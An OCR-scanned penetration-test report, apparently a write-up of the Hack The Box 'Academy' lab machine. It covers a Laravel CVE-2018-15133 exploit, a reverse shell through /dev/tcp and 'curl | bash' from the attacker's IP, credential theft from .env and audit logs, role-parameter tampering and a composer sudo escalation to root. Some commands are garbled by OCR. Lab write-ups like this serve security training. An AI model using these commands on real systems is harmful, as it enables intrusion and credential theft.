Host Report - PenTest. WS https://pentest.ws/print/host/bxq8kE6w

Host Report
10.10.10.215 - Academy

A Linux =S Server - Shelled - Owned

Host Notes:
Laravel Exploited on Port 80 for Initial Foothold:

Original Script: https://github.com/aljavier/exploit_laravel cve-2018-15133/blob/main
/pwn_laravel.py

Code not modified. Usage:
pip3 install -r requirements.txt

python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz71q06XtL/Xnz
/90Ejg+DEEynggqubHWFj0O= --interactive

LOW LEVEL (www-data) SHELL.

To move from limited interactive to full TTY shell:

On Attacking Machine:
1) echo 'bash - i >& /dev/tcp/10.10.14.4/4444 0>&1' >index.html #Inside host exploit

working folder
2) sudo python3 -m http.server 80

L— xﬁuﬁﬁ myThmﬁH http.sérver 80
[sudo] password for kali:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
10.10.10.215 - - [@7/Mar/2021 12:24:09] "GET / HTTP/1.1" 200 -

3) In a separate terminal - nc -lvnp 4444
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( J=l=]

,j nc 4Ll

istening on [any] 4444 ...

onnect to [10.10.14.4] from (UNKNOWN) [10.10.10.215] 38820

bash: cannot set terminal process group (924): Inappropriate ioctl for device

bash: no job control in this shell

ww -datagacademy: /var/ww /html/htb-academy-dev-01/public$ python3 -c 'import pty;pty.spawn("/bin/bash");"

ic$ python3 -c 'import pty;pty.spawn("/bin/bash");"
-datagacademy:/var/ww/html/htb-academy-dev-01/public$ 1s

s
ss favicon.ico 1index.php Js robots.txt web.config
ww -datagacademy: /var/ww/html/htb-academy-dev-01/public$ cd ../../

dRE A

ww -datagacademy:/var/ww/html$ 1s

s

academy htb-academy-dev-01 1index.php
-datagacademy:/var/ww/html$ cd academy

d academy

ww -data@academy: /var/ww /html/academy$ 1s

composer.json database public routes tests
composer.lock package.json readme.md server.php vendor
config phpunit.xml resources storage webpack.mix.js

On the Victim interactive shell:
curl http://10.10.14.4 | bash

on3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq@6XtL/Xnz/90@Ejg+DEEynggqubHWFj0=

Linux academy .0-52-generic #57-Ubuntu SMP Thu Oct 10:57:00 UTC x86_64 x86_64 x86_64 GNU/Linux

Running in interactive mode. Press CTRL+C to exit.
$ curl http://10.10.14.4 | bash

Lastly, in the Netcat Terminal: Run

python3 -c 'import pty;pty.spawn("/bin/bash");'
TTY shell available from the Netcat callback.
Lateral Movement from www-data to cry0OI1t3:

Changing directory to /var/www/html (by just using "cd ../../" shows 2 sites, as
expected.

academy
htb-academy-dev-01

From the Laravel error, we know homestead is the dev MySQL instance. Changing

to the Production site, we see a /var/www/html/academy/.env file that we have read
access to.

20f16 3/7/2021, 3:24 PM



Host Report - PenTest. WS

ww -datagacademy:/var/ww/html/academy$ 1s
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ww -data@academy:/var/ww/html/academy$ |
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.env
.env.example
.gltattributes
.gltignore
app .

artisan
bootstrap
composer.json
composer. lock
config
database
package.json
phpunit.xml
public
readme.md
resources
routes
server.php
storage

tests

vendor
webpack.mix.Js
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ww -datagacademy:/var/ww/html/academy$ cat ./.env

cat ./.env

APP_NAME=Laravel

APP_ENV=1local
APP_KEY=baseb4:dBLUaMuZz71q06XtL/Xnz/90Ejq+DEEynggqubHWFj0O=
APP_DEBUG=false

APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5wlrd !!

BROADCAST_DRIVER=1log
CACHE_DRIVER=file
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL DRIVER=smtp
MAIL HOST=smtp.mailtrap.1io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null

MAIL ENCRYPTION=null

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER APP_CLUSTER}"
ww -data@academy:/var/ww/html/academy$ []

cat /etc/passwd for a Username list
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www-datagacademy: /var/ww/html/academy$ cat /etc/passwd
cat /etc/passwd

root:x:0:0@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/shin:/usr/shin/nologin
bin:x:2:2:bin:/bin:/usr/shin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/shin/nologin
news:x:9:9:news:/var/spool/news:/usr/shin/nologin
uucp:x:10:1@:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
waw-data:x:33:33:ww-data:/var/ww:/usr/shin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/shin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/shin/nologin

https://pentest.ws/print/host/bxq8kE6w

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin

systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/shin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

messagebus:x:103:106 :: /nonexistent:/usr/sbin/nologin
syslog:x:104:110 :: /home/syslog:/usr/sbin/nologin
_apt:x:105:65534 :: /nonexistent:/usr/shin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112 :: /run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113:: /nonexistent:/usr/sbin/nologin
landscape:x:109:115:: /var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1:: /var/cache/pollinate:/bin/false
sshd:x:111:65534 :: /run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
egre55:x:1000:1000:egre55: /home/egres55:/bin/bash
1xd:x:998:100:: /var/snap/lxd/common/1xd:/bin/false
mrb3n:x:1001:1001 :: /home/mrb3n:/bin/sh
Ccry@l1t3:x:1002:1002 :: /home/crydl1t3:/bin/sh
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
21y4d:x:1003:1003 :: /home/21y4d: /bin/sh
ch4p:x:1004:1004 :: /home/ché4p:/bin/sh
goblin:x:1005:1005 :: /home/g0blin:/bin/sh

waw-datagacademy: /var/ww/html/academy$ |

su cry0I1t3 with Password: mySup3rP4s5w0rd!!
Lateral Movement from cry0I1t3 to mrb3n:

Check group membership.
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ww -datagacademy: /var/www/html/htb-academy-dev-01/public$ su cry0l1t3

su cry@lit3

Password: mySup3rP4s5wOrd !!

$ python3 -c 'import pty;pty.spawn("/bin/bash");"

python3 -c 'import pty;pty.spawn("/bin/bash");"
cry@llt3macademy:/var/www/html/htb-academy-dev-01/public$ id
id
uid=1002(cry011t3) gid=1002(cry011t3) groups=1002(cry011t3),4(adm)
cry0llt3@academy:/var/ww/html/htb-academy-dev-01/public$ |

Adm members can check logs.

cry@lit3m@academy:/var/log$ 1s

Ls

alternatives.log
alternatives.log.1
alternatives.log.2.gz
alternatives.log.3.gz
apache2

apt

audit

auth.log

auth.log.1
auth.log.2.gz
auth.log.3.gz
auth.log.4.gz
bootstrap.log

btmp

btmp.1

cloud-1nit.log
cloud-init-output.log
dist-upgrade

dmesg

dmesg.0

dmesg.l.gz

dmesg.2.gz

dmesg.3.gz

dmesg.4.gz
dpkg.log
dpkg.log.1
dpkg.log.2.gz
dpkg.log.3.gz
dpkg.log.4.¢gz
faillog
installer
journal
kern.log
kern.log.1
kern.log.2.gz
kern.log.3.gz
kern.log.4.gz
landscape
lastlog

mysql

private
syslog
syslog.1
syslog.2.gz
syslog.3.gz
syslog.4.gz

cry@lit3@academy:/var/log$ |

syslog.5.87

syslog.6.gz

syslog.7.gz
ubuntu-advantage.log
unattended-upgrades
vmware-network.1.log
vmware-network.2.log
vmware-network.3.log
vmware-network.4.log
vmware-network.5.log
vmware-network.6.log
vmware-network.7.log
vmware-network.8.log
vmware-network.9.log
vmware-network.log
vmware-vmsvc-root.1.log
vmware-vmsvc-root.2.log
vmware-vmsvc-root.3.log
vmware-vmsvc-root.log
vmware-vmtoolsd-root.log
wtmp

Audit logs usually have good information in them, especially when filtered to TTY

input.
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cry@lit3macademy:/var/log/audit$ 1s
JLL
audit.log audit.log.l audit.log.2 audit.log.3

cry@lit3@academy:/var/log/audit$ aureport --tty
aureport --tty

TTY Report

# date time event auid term sess comm data

Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 :28: ? 1 sh "su mrb3n",<nl>

. 08/12/2020 128: ? 1 su "mrb3n_Acad3my!",<nl>

. 08/12/2020 128: ? sh "whoami",<nl>

. 08/12/2020 :28: 7 sh "exit",<nl>

. 08/12/2020 2285 ? sh "/bin/bash -i",<nl>
6. 08/12/2020 :30: ® ? 1 nano <delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delet
e>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delet
e>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<"X>,"y" ,<ret>
7y @8/12/2@2@ 02:32:13 95 @ ? 1 nano <down>,<up>,<up>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<dele
te>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<backspace>,<down>,<d
elete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete
>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<de
lete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>
,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<"X>,"y",<ret
>
8. 08/12/2020 02:32:55 96 @ ? 1 nano "6",<"X>,"y",<ret>
9. 08/12/2020 ©2:33:26 97 @ ? 1 bash "ca",<up>,<up>,<up>,<backspace>,<backspace>, "cat au“,<tab>,“| grep data=",<ret>,"cat
au“,<tab>,"| cut -f11 -d\" \"",<ret>,<up>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<le
ft>,<left>,<left>,<left>,<left>,<right>,<right>,"grep data= | ",<ret>,<up>," > /tmp/data.txt",<ret>,"id",<ret>,"cd /tmp",<
ret>,"ls",<ret>,"nano d",<tab>,<ret>,"cat d",<tab>," | xx",<tab>,"-r -p",<ret>,"ma",<backspace>, <back5pace>,<back5pace>,"n
ano d",<tab>,<ret>,"cat dat",<tab>," | xxd -r p",<ret>,<up>,<left>,"-",<ret>,"cat /var/log/au",<tab>, ,<tab>,<backspace>
,<back5pace>,<backspace>,<backspace>,<back5pace>,<back5pace>,"d",<tab>,“aud",<tab>,”| grep data=" <ret> ,<up>,<up>,<up>,<up
>,<up>,<down>,<ret>,<up>,<up>,<up>,<ret>,<up>,<up>,<up>,<ret>,"exit",<backspace>,<backspace>,<backspace>,<backspace>,"hist
ory",<ret>,"exit",<ret>
10. 08/12/2020 ©02:33:26 98 @ ? 1 sh "exit",<nl>
11. 08/12/2020 ©2:33:30 107 @ ? 1 sh "/bin/bash -i",<nl>
12. 08/12/2020 ©02:33:36 108 @ ? 1 bash "istory",<ret>,"history",<ret>,"exit",<ret>
13. 08/12/2020 ©2:33:36 109 0 ? 1 sh "exit",<nl>
cry@lit3gacademy:/var/log/audit$ |

Credentials acquired from audit logs after escalting from www-data to cyrOI1t3.

mrb3n@academy:~$ sudo -1

[sudo] password for mrb3n:

Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
mrb3n@academy:~$ |

mrb3n can run composer as root. Composer is a GTFObin that is easily exploitable
to get to root.
Steps to exploit composer's GTFObin

1) TF=$ (mktemp -d)
2) echo '{"scripts":"{"x":"/bin/sh -1 0<&3 1>&3 2>&3"}}'>STF/composer.json
3) sudo composer --working-dir=$TF run-script x
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GTFObin Exploited and Box Rooted

mrb3ngacademy:~$ TF=$(mktemp -d)

mrb3naacademy:~$ echo i

mrb3ngacademy:~$ sudo

i 1ib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/ph
ile: s i irectory)) in Unknown on line 0
: brary 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/
902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
super user! See https://getcomposer.org/root for details|

root@academy:/tmp/tmp.i9uW6fOleH# locate user.txt
/home/cry0l1t3/user.txt

root@academy:/tmp/tmp.19uwW6fOleH# cat /home/cry0lit3/user.txt
d030457197ee4f1c5a2d8530e836830a
root@academy:/tmp/tmp.i9uW6f0OleH# cat /root/root.txt
dclea8belb5b22af1646eb9f75e9d022
rootgacademy:/tmp/tmp.i9uW6f0leH# hostname

academy

:/tmp/tmp.i9uwW6fOleH#

Port Proto Service Version Status

22 tcp ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 Owned
(Ubuntu Linux; protocol 2.0)

80 tep http Apache httpd 2.4.41 ((Ubuntu)) Owned
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Port Proto Service Version Status

Port Notes:

Must add '10.10.10.215 academy.htb' to /etc/hosts file

Register as a new user and capture the POST request. Change "&roleid=0" to "&roleid=1"
and you can log into the admin.php page.

Must add '10.10.10.215 dev-staging-01.academy.htb' to /etc/hosts file
dev-staging-01.academy.htb show Laravel running and displays an error message.

Initial scan shows Port 80 (See below) which is tied to academy.htb.
Add academy.htb to /etc/hosts

127.0.0.1 localhost
127.0.1.1 kali

=l localhost 1p6-localhost 1p6-loopback
ff02::1 1p6-allnodes

ff02::2 1p6-allrouters

10.10.10.215 academy.htb |
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Port Proto Service Version

Status
Hack The Box Academy N+

- c o © /% academy.htb ses e In 60 @
o Kali Linux % Kali Training M Kali Tools % Kali Forums < KaliDocs X NetHunter J| Offensive Security MSFU

@ HTB ACADEMY

</neaa>
<body>

<div class="flex-center position-ref full-height" id="canvas">
<div class="top-right links">
<a href="http://academy.htb/login.php">Login</a>

<a href="http://academy.htb/register.php">Register</a>
</div>

<div class="content">
<div>

[P TR R | I T A |

lhmat mbled  HTAMA AT
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Port Proto Service Version Status

© £ academy.htb/register.php

aining N Kali Tools X KaliForums @ KaliDocs e\ NetHunter J Offensive Security | MSFU #< Exploit-DB #< GHDB

Register
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Port Proto Service Version Status

© /& academy.h

aining N Kali Tools X KaliForums @ KaliDocs e\ NetHunter J Offensive Security | MSFU #< Exploit-DB #< GHDB

Register

We want to see what is happening when a new user is created. So, I'm going to fire up Burp
Suite. Now, | am using Kali 2021.1 which has a newer version of Burp that has a built-in
browser. No more having to modify your browser's network settings or installing certificates.
In that browser, I'm going to create a new user name johndoe with a password of johndoe1
and capture what is happening when a new user gets created.

86 http:ffacademy.htb POST  Jregister.php v 302 1313 HTML php Register 1010.10.215 10:18:44 7 M... 8080
87  http:/facademy.htb GET Jsuccess-page.php 200 858 HTML php Login 10.10.10.215 10:18:47 7M... 8080
88 http:/facademy.htb GET Nlogin.php 200 2029 HTML php Login 10.10.10.215 10:18:537 M... 8080
89 httpsiffcontent-autofilLgoogle... POST  ifformsivoteZalt=proto v 400 652 script v 74125196.95 10:18:547 M... 8080
90 https:ffcontent-autofill.google... GET IV1/pages/ChRDaH JVbWUVODQUMC4.. v 400 652 script v 74125196.95 10:19:027M... 8080
91 http:/ffacademy.htb POST  /login.php v 302 2029 HTML php Login 10.10.10.215 10:19:227 M... 8080
92 httpiffacademy.htb GET fhome.php 200 55217 HTML php Modules 10.10.10.215 10:19:257 M... 8080
100 httpiffacademy.htb GET IModules_files/bootstrap.bundie.min. 200 80991  script 10.10.10.215 10:19:29 7 M... 8080
101 http:/facademy.htb GET IModules_files/jquery.min.js.download 200 88438  script 10.10.10.215 10:19:20 7 M... 8080
102 http:/facademy.htb GET IModules_files/metisMenu.min.js.dow. 200 5083 script 10.10.10.215 10:19:29 7 M... 8080

m \n  Actions v

1 POST /register.php HTTP/1.1
2 Host: academy.htb
3 Content-Length: 55
4 cache-Control: max-age=0
S Upgrade-Insecure-Requests: 1
6 Origin: http://academy.htb
Content-Type lication/x-www-form-urlencoded
User- Agent : 1a/5.0 (Windows NT 10.0; WinGd; x64) AppleWebkit/S37.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/S37.36
9 Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/avif,image /webp,image /apng, */*;q=0.8, application/signed-exchange; v=b3;9=0.9
0 Referer: http://academy.htb/register.php
Accept-Encoding: ip, deflate
Accept-Language: n;q=0.9
Cookie: PHPSESSID Schjkdho3pq3luldpmpz
Connection: close

& uid=johndosgpassword=johndos1&conti rm=johndos1&roleid=0
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Port Proto Service Version Status

After we create the user, it takes us to the Login page. We can use the new credentials to
login and we see some Modules for the HackTheBox Academy (Nice Touch. It's usually the
whole Lorem Ipsum thing). One thing the capture on creation shows us is an "&roleid=0".
That variable might be useful later. For now, let's run Gobuster on it and see what else is
there for us to find. We can do that with "gobuster dir -u http://academy.htb -w /usr/share
/dirb/wordlists/common.txt"

—(kali%kali)-[~/Academy]
L¢ gobuster dir -u http://academy.htb -w /usr/share/dirb/wordlists/common.txt

Gobuster v3.0.1
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Url: http://academy.htb

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/admin.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
/server-status (Status: 403)

aaaaa

doadsNl |l |

Register

0matches
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Host Report - PenTest. WS

Port Proto Service Version

Change the rolelD to 1 and | can log into admin.php

https://pentest.ws/print/host/bxq8kE6w

Status

Academy Launch Planner

Complete initial set of modules (cry0I1t3 / mrb3n)
Test all modules

Separate student and admin roles

] kali@kali: ~/AutoReconfsrc/autorecon
File Actions Edit View Help

127.6.1.1 kali

il localhost ip6-localhost ip6-loopback
ff02::1 1p6-allnodes

ff02::2 1ip6-allrouters

10.10.10.215 academy.htb

10.10.10.215 dev-staging-01.academy.htblj

done

||t]||t'
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Host Report - PenTest. WS

150f 16

Port

Proto

Service

Version

https://pentest.ws/print/host/bxq8kE6w

Status

857

6913

16895

22386

22638

26915

27053

32949

33060

34589

43557

47919

48560

tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp

tcp

unknown

socksb
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Host Report - PenTest. WS

16 of 16

Port Proto Service

49108 tcp

59714 tcp

61288 tcp
Credentials:

Service Username

mysql homestead

ssh mrb3n

su cryOl1t3

Version

Password
secret
mrb3n_Ac@d3my!

mySup3rP4s5wO0rd!!

https://pentest.ws/print/host/bxq8kE6w

Full Name

Status

Hash
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